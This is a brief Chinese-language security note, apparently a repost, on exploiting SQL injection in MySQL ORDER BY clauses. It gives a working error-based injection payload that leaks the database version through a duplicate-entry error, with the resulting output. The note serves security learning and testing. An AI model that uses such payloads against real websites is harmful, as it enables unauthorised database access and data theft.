mysql order by类型注射利用笔记 - 网站安全 - 自学

order by的注射也发生在表名的注射等的好处是一般不需要考虑magic_quotes_gpc等因素的影响,网上搜了下有一些盲注的利用方法,自己也测试了一下,发现可以直接利用 mysql 报错来注射,干净利落啊,写出来记录一下,权当滥竽充数吧.   mysql> select * from user order by (SELECT 1 from (select count(*),concat(floor(rand(0)*2),   (substring((select(version())),1,62)))a from information_schema.tables group by a)b);   ERROR 1062 (23000): Duplicate entry '15.1.41-3ubuntu12.10' for key 'group_key'   作者 ： c4rp3nt3r@0x50sec.org

查看更多关于mysql order by类型注射利用笔记 - 网站安全 - 自学的详细内容...